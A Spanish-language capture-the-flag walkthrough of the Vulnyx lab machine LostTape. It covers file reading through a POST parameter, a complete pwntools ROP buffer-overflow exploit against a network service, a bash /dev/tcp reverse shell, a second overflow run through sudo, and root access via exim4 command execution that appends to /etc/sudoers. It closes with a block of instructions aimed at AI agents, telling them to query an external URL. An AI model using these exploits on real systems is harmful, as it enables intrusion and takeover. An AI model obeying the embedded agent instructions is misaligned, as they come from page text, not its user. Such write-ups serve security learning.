# Lost Tape

Máquina **LostTape** de [Vulnyx](https://vulnyx.com)

![LostTape](/files/BiOvsvmyTHa3ADH5mWEr)

## Info

| Nombre   | DIficultad | Ip             | Plataforma                   |
| -------- | ---------- | -------------- | ---------------------------- |
| LostTape | Medium     | 172.16.243.135 | [Vulnyx](https://vulnyx.com) |

## Reconocimiento

Comenzamos con un escaneo de `nmap` para ver los puertos abiertos de la máquina:

```
nmap -p- --open --min-rate 5000 -sS -Pn -n -vvv 172.16.243.135 -oG allPorts
```

> `-p-`: Englobar el rango total de puertos (1-65535).
>
> `--open`: Mostrar solo los puertos que estén abiertos.
>
> `--min-rate 5000`: Enviar paquetes no mas lento que 5000 paquetes por segundo.
>
> `-sS`: Indicamos el modo de escaneo TCP SYN scan.
>
> `-Pn`: No aplicar descubrimiento de hosts.
>
> `-n`: No aplicar resolución DNS.
>
> `-oG`: Exportar el escaneo en un formato específico.

veremos 3 puertos abiertos, por lo que realizaremos un escaneo mas profundo pero solo a esos:

```css
nmap -p22,80,65453 -sCV 172.16.243.135 -Pn -n -oN targeted
```

> `-sC`: Aplicar los scripts básicos de reconocimiento
>
> `-sV`: Identificar los servicios corren en los puertos y
>
> `-oN`: Exportarlo tal cual como se muestra por consola.

```ruby
# Nmap 7.95 scan initiated Sun Jun  8 14:56:34 2025 as: nmap -p22,80,65453 -sCV -Pn -n -oN targeted 172.16.243.135
Nmap scan report for 172.16.243.135
Host is up (0.00051s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey: 
|   256 aa:3c:69:15:02:af:09:ff:e3:1e:f7:b7:a3:8b:c3:46 (ECDSA)
|_  256 31:9b:3e:9b:f2:f6:29:00:f4:4a:93:aa:d8:e7:ba:5e (ED25519)
80/tcp    open  http    Apache httpd 2.4.62 ((Debian))
| http-git: 
|   172.16.243.135:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: commit 
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.62 (Debian)
65453/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP: 
|     dom 08 jun 2025 14:56:51 -03
|     Enter the password:
|   DNSVersionBindReqTCP: 
|     dom 08 jun 2025 14:56:46 -03
|     Enter the password:
|   FourOhFourRequest, LDAPSearchReq, LPDString: 
|     dom 08 jun 2025 14:57:06 -03
|     Enter the password: Incorrect password
|   GenericLines: 
|     dom 08 jun 2025 14:56:35 -03
|     Enter the password: Incorrect password
|   GetRequest, HTTPOptions, RTSPRequest: 
|     dom 08 jun 2025 14:56:41 -03
|     Enter the password: Incorrect password
|   Help, Kerberos, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     dom 08 jun 2025 14:56:56 -03
|     Enter the password: Incorrect password
|   LDAPBindReq: 
|     dom 08 jun 2025 14:57:06 -03
|     Enter the password:
|   NULL: 
|     dom 08 jun 2025 14:56:35 -03
|     Enter the password:
|   RPCCheck: 
|     dom 08 jun 2025 14:56:41 -03
|     Enter the password:
|   SMBProgNeg: 
|     dom 08 jun 2025 14:56:56 -03
|     Enter the password:
|   X11Probe: 
|     dom 08 jun 2025 14:57:01 -03
|_    Enter the password:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port65453-TCP:V=7.95%I=7%D=6/8%Time=6845CED9%P=x86_64-pc-linux-gnu%r(NU
SF:LL,31,"dom\x2008\x20jun\x202025\x2014:56:35\x20-03\nEnter\x20the\x20pas
SF:sword:\x20")%r(GenericLines,44,"dom\x2008\x20jun\x202025\x2014:56:35\x2
SF:0-03\nEnter\x20the\x20password:\x20Incorrect\x20password\n")%r(GetReque
SF:st,44,"dom\x2008\x20jun\x202025\x2014:56:41\x20-03\nEnter\x20the\x20pas
SF:sword:\x20Incorrect\x20password\n")%r(HTTPOptions,44,"dom\x2008\x20jun\
SF:x202025\x2014:56:41\x20-03\nEnter\x20the\x20password:\x20Incorrect\x20p
SF:assword\n")%r(RTSPRequest,44,"dom\x2008\x20jun\x202025\x2014:56:41\x20-
SF:03\nEnter\x20the\x20password:\x20Incorrect\x20password\n")%r(RPCCheck,3
SF:1,"dom\x2008\x20jun\x202025\x2014:56:41\x20-03\nEnter\x20the\x20passwor
SF:d:\x20")%r(DNSVersionBindReqTCP,31,"dom\x2008\x20jun\x202025\x2014:56:4
SF:6\x20-03\nEnter\x20the\x20password:\x20")%r(DNSStatusRequestTCP,31,"dom
SF:\x2008\x20jun\x202025\x2014:56:51\x20-03\nEnter\x20the\x20password:\x20
SF:")%r(Help,44,"dom\x2008\x20jun\x202025\x2014:56:56\x20-03\nEnter\x20the
SF:\x20password:\x20Incorrect\x20password\n")%r(SSLSessionReq,44,"dom\x200
SF:8\x20jun\x202025\x2014:56:56\x20-03\nEnter\x20the\x20password:\x20Incor
SF:rect\x20password\n")%r(TerminalServerCookie,44,"dom\x2008\x20jun\x20202
SF:5\x2014:56:56\x20-03\nEnter\x20the\x20password:\x20Incorrect\x20passwor
SF:d\n")%r(TLSSessionReq,44,"dom\x2008\x20jun\x202025\x2014:56:56\x20-03\n
SF:Enter\x20the\x20password:\x20Incorrect\x20password\n")%r(Kerberos,44,"d
SF:om\x2008\x20jun\x202025\x2014:56:56\x20-03\nEnter\x20the\x20password:\x
SF:20Incorrect\x20password\n")%r(SMBProgNeg,31,"dom\x2008\x20jun\x202025\x
SF:2014:56:56\x20-03\nEnter\x20the\x20password:\x20")%r(X11Probe,31,"dom\x
SF:2008\x20jun\x202025\x2014:57:01\x20-03\nEnter\x20the\x20password:\x20")
SF:%r(FourOhFourRequest,44,"dom\x2008\x20jun\x202025\x2014:57:06\x20-03\nE
SF:nter\x20the\x20password:\x20Incorrect\x20password\n")%r(LPDString,44,"d
SF:om\x2008\x20jun\x202025\x2014:57:06\x20-03\nEnter\x20the\x20password:\x
SF:20Incorrect\x20password\n")%r(LDAPSearchReq,44,"dom\x2008\x20jun\x20202
SF:5\x2014:57:06\x20-03\nEnter\x20the\x20password:\x20Incorrect\x20passwor
SF:d\n")%r(LDAPBindReq,31,"dom\x2008\x20jun\x202025\x2014:57:06\x20-03\nEn
SF:ter\x20the\x20password:\x20");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun  8 14:58:03 2025 -- 1 IP address (1 host up) scanned in 88.26 seconds
```

Tenemos algunas cosas interesantes:

* nmap encontró un `.git` en la web.
* Hay un servicio desconocido que nos pide contraseña.

Como no tenemos la contraseña para el puerto 65453 pasaremos a la web.

### Puerto 80

Comenzaremos usando `git-dumper` para descargar el repositorio `.git` de la web:

```css
git-dumper http://172.16.243.135/.git web
```

una vez termine, veremos una carpeta llamada 'web' que contiene el `index.php` de la web, el cual si lo leemos veremos lo siguiente:

```php
<?php
echo 'Welcome';


system($_GET["command_execute"]);

?>
```

esto significa que todo lo que pasemos por el método `GET` usando el parámetro `command_execute` se ejecutaría en el sistema, pero al probarlo vemos que no funciona:

```css
❯ curl -s -X GET 'http://172.16.243.135/?command_execute=id'
Welcome
❯ 
```

viendo esto puede que sea un commit viejo por lo que esto no nos serviría de nada.

También podremos notar que cada vez que entramos en la web el código de estado es 500:

![500](/files/MGwNVbngIBwTOBL04Jw0)

esto puede significar que la web si está esperando un parámetro, pero no sabemos cual, por lo que usaremos `ffuf` para buscarlo:

```css
ffuf -u 'http://172.16.243.135/?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -fl 1
```

luego de esperar a que termine, no nos reporta nada, por lo que probaremos pasar el parámetro por `POST` en vez de `GET`, pero en mi caso con `ffuf` no funcionó, por lo que lo hice con un script en python:

```python
import requests
url = 'http://172.16.243.135/index.php'
with open("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt", "r") as w:
    for line in w:
        line = line.strip()
        data = {
            f"{line}": "/etc/passwd"
        }
        r = requests.post(url, data=data)
        response = r.text.replace("Welcome", "")
        if response != "":
            print(f"Parámetro {line} encontrado:\n {r.text}")
            break
```

lo ejecutamos y vemos lo siguiente:

```css
Parámetro file encontrado:
Welcomeroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
maci:x:1000:1000:maci,,,:/home/maci:/bin/bash
Debian-exim:x:102:110::/var/spool/exim4:/usr/sbin/nologin
dk:x:1001:1001:dk,,,:/home/dk:/bin/bash
```

por lo que ya sabemos cual es el parámetro y vemos que nos permite leer archivos en vez de ejecutar comandos.

Si revisamos el código del `index.php` veremos lo siguiente:

```css
❯ curl -s -X POST 'http://172.16.243.135/' -d 'file=index.php'
Welcome<?php
echo 'Welcome';
$file = $_POST["file"];
echo file_get_contents($file);
?>
❯ 
```

como vemos nos muestra el contenido de los archivos con la función `file_get_contents()`, por lo que no podremos usar scripts como `php_filter_chain_generator` para ejecutar comandos ya que no lo hace con `include()` y por lo tanto no servirá de nada. Pero lo que si podemos hacer es ver que procesos hay en la máquina, para esto también crearemos un script en python:

```python
import requests
url = 'http://172.16.243.135/index.php'
for num in range(10000):
    data = {
        "file": f"/proc/{num}/cmdline"
    }
    r = requests.post(url, data=data)
    response = r.text.replace("Welcome", "")
    if response != "":
        print(f"{num}: {response}")
```

lo ejecutamos y vemos los siguientes proceso:

```css
1: /sbin/init
333: /lib/systemd/systemd-journald
356: /lib/systemd/systemd-udevd
384: /lib/systemd/systemd-timesyncd
386: /usr/bin/VGAuthService
387: /usr/bin/vmtoolsd
447: /lib/systemd/systemd-timesyncd
448: /usr/sbin/cron-f
449: /usr/bin/dbus-daemon--system--address=systemd:--nofork--nopidfile--systemd-activation--syslog-only
461: /usr/sbin/rsyslogd-n-iNONE
463: /lib/systemd/systemd-logind
472: /usr/sbin/rsyslogd-n-iNONE
473: /usr/sbin/rsyslogd-n-iNONE
474: /usr/sbin/rsyslogd-n-iNONE
507: dhclient-4-v-i-pf/run/dhclient.ens33.pid-lf/var/lib/dhcp/dhclient.ens33.leases-I-df/var/lib/dhcp/dhclient6.ens33.leasesens33
543: /usr/bin/vmtoolsd
544: /usr/bin/vmtoolsd
631: /sbin/agetty-o-p -- \u--noclear-linux
652: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
692: /usr/sbin/apache2-kstart
748: /usr/sbin/apache2-kstart
749: /usr/sbin/apache2-kstart
750: /usr/sbin/apache2-kstart
751: /usr/sbin/apache2-kstart
754: /usr/sbin/apache2-kstart
780: /usr/sbin/xinetd-pidfile/run/xinetd.pid-stayalive-inetd_compat-inetd_ipv6
935: /usr/sbin/exim4-bd-q30m
942: /usr/sbin/apache2-kstart
943: /usr/sbin/apache2-kstart
```

de todos estos el único que nos interesa es el de `xinetd`, ya que nos da una pista. Pero primero:

¿Que es `xinetd`?

> **`xinetd` es un demonio de Internet (daemon) en sistemas Unix/Linux que funciona como un servidor de "supervisión" para gestionar otros servicios de red.**

¿Cual es su función principal?

> **La función principal de `xinetd` es escuchar puertos de red en espera de conexiones entrantes, y cuando una conexión es solicitada en un puerto determinado, redirige la solicitud al servicio adecuado para que lo atienda.**

Esto significa que `xinetd` puede ser el servicio que escucha por el puerto 65453 pero lo redirige a otro, que no necesariamente es un servicio, si no un binario tal como puede ser `bash`, `ls` o uno personalizado. Sabiendo esto **¿Que podríamos hacer?**; con esta información podríamos revisar todos los servicios gestionados por `xinetd`, los cuales son un simple archivo de configuración individual en `/etc/xinetd.d/`, por lo que haremos nuevamente un script en python que lo haga:

```python
import requests
url = 'http://172.16.243.135/index.php'
with open("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt", "r") as w:
    for line in w:
        line = line.strip()
        data = {
            "file": f"/etc/xinetd.d/{line}"
        }
        r = requests.post(url, data=data)
        response = r.text.replace("Welcome", "")
        if response != "":
            print(f"/etc/xinetd.d/{line}:\n {response}")
```

lo ejecutamos y nos muestra lo siguiente:

```css
/etc/xinetd.d/services:
 # default: off
# description: An internal xinetd service, listing active services.

service services
{
	type		= INTERNAL UNLISTED
	port		= 9098
	socket_type	= stream
	protocol	= tcp
	wait		= no
	disable		= yes
	only_from	= 127.0.0.1
}                                                                               

/etc/xinetd.d/servers:
 # default: off
# description: An internal xinetd service, listing active servers.

service servers
{
	type		= INTERNAL UNLISTED
	port		= 9099
	socket_type	= stream
	protocol	= tcp
	wait		= no
	disable		= yes
	only_from	= 127.0.0.1
}                                                                               

/etc/xinetd.d/time:
 # default: off
# description: An RFC 868 time server. This protocol provides a
# site-independent, machine readable date and time. The Time service sends back
# to the originating source the time in seconds since midnight on January first
# 1900.
# This is the tcp version.
service time
{
	disable		= yes
	type		= INTERNAL
	id		= time-stream
	socket_type	= stream
	protocol	= tcp
	user		= root
	wait		= no
}

# This is the udp version.
service time
{
	disable		= yes
	type		= INTERNAL
	id		= time-dgram
	socket_type	= dgram
	protocol	= udp
	user		= root
	wait		= yes
}

/etc/xinetd.d/manager:
 service manager_service
{
    disable         = no
    socket_type     = stream
    protocol        = tcp
    wait            = no
    user            = maci
    server          = /usr/sbin/manager
    bind            = 0.0.0.0
    port            = 65453
    type            = UNLISTED
}
```

el último servicio es el único que nos interesa, ya que este nos muestra cual es el binario que se ejecuta. Ahora guardaremos el binario para revisarlo:

```css
curl -s -X POST 'http://172.16.243.135/' -d 'file=/usr/sbin/manager' -o manager
```

una vez guardado borraremos el 'Welcome' que queda en el comienzo del archivo, para esto se puede usar `nano`,`nvim` o cualquier editor de texto.

Una vez todo listo, ejecutamos `file manager` y vemos lo siguiente:

```css
manager: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8755bb23d1a83b341a1fb84dc8974b44d3f328f0, for GNU/Linux 3.2.0, not stripped
```

esto nos dice que es un binario de 64bits. Si lo ejecutamos veremos que también nos pide una contraseña, por lo que podemos averiguarla usando `ltrace`:

```css
❯ ltrace ./manager
system("date"dom 08 jun 2025 16:03:07 -03
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                          = 0
printf("Enter the password: ")                                                                                  = 20
fflush(0x7ffff7f815c0Enter the password: )                                                                                          = 0
fgets(test
"test\n", 524, 0x7ffff7f808e0)                                                                            = 0x7fffffffdac0
strcspn("test\n", "\n")                                                                                         = 4
strcmp("test", "S3cr3tP@ssw0rd123")                                                                             = 33
puts("Incorrect password"Incorrect password
)                                                                                      = 19
fflush(0x7ffff7f815c0)                                                                                          = 0
exit(1 <no return ...>
+++ exited (status 1) +++
❯ 
```

como podemos ver, la contraseña que espera es 'S3cr3tP\@ssw0rd123', por lo que podemos intentar ponerla:

```css
❯ ./manager
dom 08 jun 2025 16:03:58 -03
Enter the password: S3cr3tP@ssw0rd123
Welcome!
1: Read file system
2: Write a suggestion
s: Exit
Choose an option: 1
Enter file path: /etc/host
The file could not be opened: No such file or directory
❯ 
```

como vemos funciona y podemos leer archivos del sistema, pero esto no nos sirve ya que lo podíamos hacer antes. Podemos ver la segunda opción:

```css
❯ ./manager
dom 08 jun 2025 16:04:59 -03
Enter the password: S3cr3tP@ssw0rd123
Welcome!
1: Read file system
2: Write a suggestion
s: Exit
Choose an option: 2
Write your suggestion: test
Suggestion saved!
❯ 
```

esta opción nos pide un input, podemos intentar enviar mucho contenido para ver si se acontece un `buffer overflow`:

```css
❯ ./manager
dom 08 jun 2025 16:05:46 -03
Enter the password: S3cr3tP@ssw0rd123
Welcome!
1: Read file system
2: Write a suggestion
s: Exit
Choose an option: 2
Write your suggestion: AAAAAAAAAAA<SNIP>AAAAAAAA
Suggestion saved!
zsh: segmentation fault (core dumped)  ./manager
❯ 
```

efectivamente, estamos frente un `buffer overflow`.

## Intrusión

### Buffer Overflow - ROP

Si revisamos las protecciones del binario veremos que solo tiene activado `NX`:

![Protecciones](/files/RuOXri1v40Zj8K7D6gZq)

Esto significa que el stack no es ejecutable, sin embargo las direcciones de la memoria no son aleatorias, no tiene canarios ni RELRO, por lo que nos quedan dos tipos posibles de buffer overflow por hacer:

* ROP
* Ret2libc

En este caso nos conviene realizar un `Bof` de tipo ROP ya que es mas sencillo. Para empezar podríamos hacer la base de nuestro exploit:

```python
from pwn import *

def main():
    offset = ?
    bin_sh = b'/bin/sh\x00'
    junk = b"A"*offset
    system_addr = ?
    payload = junk + bin_sh + ? + system_addr + ?
    host, port = '172.16.243.135', 65453
    context.binary = './manager'
    p = process("./manager")
    p.sendline(b"S3cr3tP@ssw0rd123")
    p.sendline(b"2")
    p.sendline(payload)
    p.recvall()
if __name__ == '__main__':
    main()
```

por ahora solo nos faltaría buscar:

```
- [x] El offset
- [x] La dirección de system dentro del binario
- [ ] 2 gadgets o una función que nos permita hacer un ROP exitosamente
```

### Obtener el offset

Para obtener el offset usaremos la herramienta `pattern_create.rb` y `pattern_offset.rb` de metasploit. Primero generaremos un pattern y lo pasaremos por `gdb`:

```css
pattern_create.rb -l 500
```

copiamos el output y ejecutamos `gdb`:

```css
gdb -q ./manager
```

> En mi caso tengo pwndbg

Ahora lo ejecutamos, y al llegar a la parte vulnerable enviamos el pattern:

![pattern](/files/nsa2GRdXPFurq0c8WSWy)

ahora usaremos `pattern_offset.rb` para obtener el offset:

```css
❯ pattern_offset.rb -q 0x41366c41356c4134
[*] Exact match at offset 344
❯ 
```

por lo que ya tenemos el offset y podemos actualizar el exploit:

```python
from pwn import *

def main():
    offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
    bin_sh = b'/bin/sh\x00'
    junk = b"A"*offset
    system_addr = ?
    payload = junk + bin_sh + ? + system_addr + ?
    host, port = '172.16.243.135', 65453
    context.binary = './manager'
    p = process("./manager")
    p.sendline(b"S3cr3tP@ssw0rd123")
    p.sendline(b"2")
    p.sendline(payload)
    p.recvall()
if __name__ == '__main__':
    main()
```

ahora vamos a obtener la direcciónn de system.

### Dirección system

```css
❯ objdump -D ./manager | grep 'system'
0000000000401050 <system@plt>:
  401050:	ff 25 4a 24 00 00    	jmp    *0x244a(%rip)        # 4034a0 <system@GLIBC_2.2.5>
  40137d:	e8 ce fc ff ff       	call   401050 <system@plt>
❯ 
```

ya tenemos la dirección: `0x401050` y podemos actualizar el exploit:

```css
from pwn import *

def main():
    offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
    bin_sh = b'/bin/sh\x00'
    junk = b"A"*offset
    system_addr = p64(0x401050)
    payload = junk + bin_sh + ? + system_addr + ?
    host, port = '172.16.243.135', 65453
    context.binary = './manager'
    p = process("./manager")
    p.sendline(b"S3cr3tP@ssw0rd123")
    p.sendline(b"2")
    p.sendline(payload)
    p.recvall()
if __name__ == '__main__':
    main()
```

ahora debemos buscar una función o gadget que nos ayude.

### Gadgets

Usaremos `ghidra` para buscarlos.

En la función `LTe` ya podemos ver algo útil:

![LTe](/files/dJM7Pd645vuAC3LL6m87)

vemos 2 instrucciones interesantes, la cuales son

* `MOV RDI,RSP`
* `JMP R13`

Esto nos interesa ya que la primer instrucción copia el contenido de `RSP` (el tope de la pila) al registro `RDI`, esto es interesante porque al llamar a system busca el primer valor que se encuentre en el registro `rdi, rsi, rcx, rdx ,r9...`, por lo que cuando lleguemos al tope de la pila podremos meter nuestra cadena '/bin/sh' en el registro `rdi` el cual posteriormente usará system. Luego vemos `JMP R13`, lo cual nos sirve para poder llamar a `system` ya que la función `LTe` salta a `r13` en el final, podemos buscar un gadget como `pop r13` para cargar la dirección de system en el `r13` y cuando la función `LTe` sea llamada, ejecutará `/bin/sh` correctamente.

#### Extraer la dirección de `pop r13` y la función `LTe`

Para obtener la dirección de la función es tan simple como hacerlo con `objdump`:

```css
❯ objdump -D ./manager | grep 'LTe'
00000000004011c6 <LTe>:
❯ 
```

por lo tanto la dirección sería `0x4011c6`.

Para obtener la dirección del gadget podemos usar `ropper`:

![pop r13](/files/HuMTfaz7QQTCCk6ZHSlV)

y ya tenemos la dirección: `0x4011d7`. Ahora podemos terminar el exploit:

```python
from pwn import *

def main():
    offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
    bin_sh = b'/bin/sh\x00'
    junk = b"A"*offset
    pop_r13 = p64(0x4011d7)
    LTe = p64(0x4011c6)
    system_addr = p64(0x401050)
    payload = junk + bin_sh + pop_r13 + system_addr + LTe
    host, port = '172.16.243.135', 65453
    context.binary = './manager'
    p = process("./manager")
    p.sendline(b"S3cr3tP@ssw0rd123")
    p.sendline(b"2")
    p.sendline(payload)
    p.interactive()
if __name__ == '__main__':
    main()
```

lo ejecutamos y vemos lo siguiente:

![pwned](/files/nbcxA5sWCInoERc3w5Pg)

como vemos, hemos logrado obtener una shell a través del buffer overflow. Ahora solo nos queda hacer que el exploit no se ejecute en local y se conecte al puerto remoto:

```css
from pwn import *

def main():
    offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
    bin_sh = b'/bin/sh\x00'
    junk = b"A"*offset
    pop_r13 = p64(0x4011d7)
    LTe = p64(0x4011c6)
    system_addr = p64(0x401050)
    payload = junk + bin_sh + pop_r13 + system_addr + LTe
    host, port = '172.16.243.135', 65453
    r = remote(host, port)
    r.sendline(b"S3cr3tP@ssw0rd123")
    r.sendline(b"2")
    r.sendline(payload)
    r.interactive()
if __name__ == '__main__':
    main()
```

y al ejecutarlo estaremos dentro:

![Intrusion](/files/JZJKvvarvKP2yIIsNJ9s)

## Escalada de privilegios

Ahora que estamos dentro, somos el usuario maci, pero nos enviaremos una shell para tener una shell totalmente interactiva:

```css
bash -c 'bash -i >& /dev/tcp/172.16.243.1/443 0>&1'
```

escuchamos con netcat:

```css
sudo nc -nvlp 443
```

y al enviar la shell podremos ver la flag de user:

![User.txt](/files/HxQjTUtKqqQfAPaHnCIR)

Si ejecutamos `sudo -l` veremos lo siguiente:

![sudo](/files/h72z2gfvkMz8l2K7XW1V)

podemos ejecutar un binario llamado `name` como el usuario `dk`, vamos a revisarlo.

![name](/files/8lE8YQe01MzRO5zizt4E)

nuevamente, tenemos un binario vulnerable a buffer overflow.

### Buffer overflow - Function call

Comenzaremos pasandolo a nuestra máquina local. Si ejecutamos `file` y `checksec` veremos que es un binario de 64 bits con las mismas protecciones que el anterior. Pero cuando lo revisamos con `gdb`, veremos una función llamada `future_function`, esta función no se llama nunca en el binario, pero si ejecutamos `strings ./name` veremos lo siguiente:

```css
Welcome to the future feature
/bin/bash
```

lo que significa que esa función probablemente ejecute `/bin/bash`. Para llamar a la función es mucho mas simple:

```python
import subprocess
import sys
import select
import os
from struct import pack

offset = 40
f_function = pack("<Q", 0x401167)

junk = b"A" * offset
payload = junk + f_function

def simple_interactive(proc, initial_input):
    proc.stdin.write(initial_input)
    proc.stdin.flush()

    while True:
        rlist, _, _ = select.select([proc.stdout, sys.stdin], [], [])

        if proc.stdout in rlist:
            data = os.read(proc.stdout.fileno(), 1024)
            if not data:
                break
            sys.stdout.buffer.write(data)
            sys.stdout.buffer.flush()

        if sys.stdin in rlist:
            user_input = os.read(sys.stdin.fileno(), 1024)
            if not user_input:
                break
            proc.stdin.write(user_input)
            proc.stdin.flush()

proc = subprocess.Popen(["sudo", "-u", "dk", "/usr/sbin/name"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)

simple_interactive(proc, payload + b"\n")
```

la diferencia es que no tenemos pwntools para facilitarnos todo.

Una vez ejecutado veremos lo siguiente:

![DK](/files/pIWf9A037Sml2TdbExD0)

nuevamente nos enviaremos una shell.

#### Dk

Si ejecutamos `sudo -l` veremos que podemos ejecutar `exim4` como root. Luego de leer el manual, podemos ver una forma de ejecutar comandos:

```css
sudo exim4 -be '${run{/bin/id}}'
```

```css
dk@LostTape:~$ sudo exim4 -be '${run{/bin/id}}'
uid=0(root) gid=110(Debian-exim) groups=110(Debian-exim),0(root)

dk@LostTape:~$ 
```

por lo que crearemos un script en /tmp que nos deje ejecutar cualquier comando como root:

```css
#!/bin/bash

echo 'dk	ALL=(ALL:ALL) NOPASSWD: ALL' >> /etc/sudoers
```

le damos permisos de ejecución:

```css
chmod 777 /tmp/privesc
```

y lo ejecutamos:

```css
sudo exim4 -be '${run{/tmp/s}}'
```

luego podremos escalar a root ejecutando `sudo su`

#### Root

![root](/files/FlySDXGn8fxqle1sOEMR)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://maciferna.gitbook.io/book/writeups/vulnyx/losttape.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
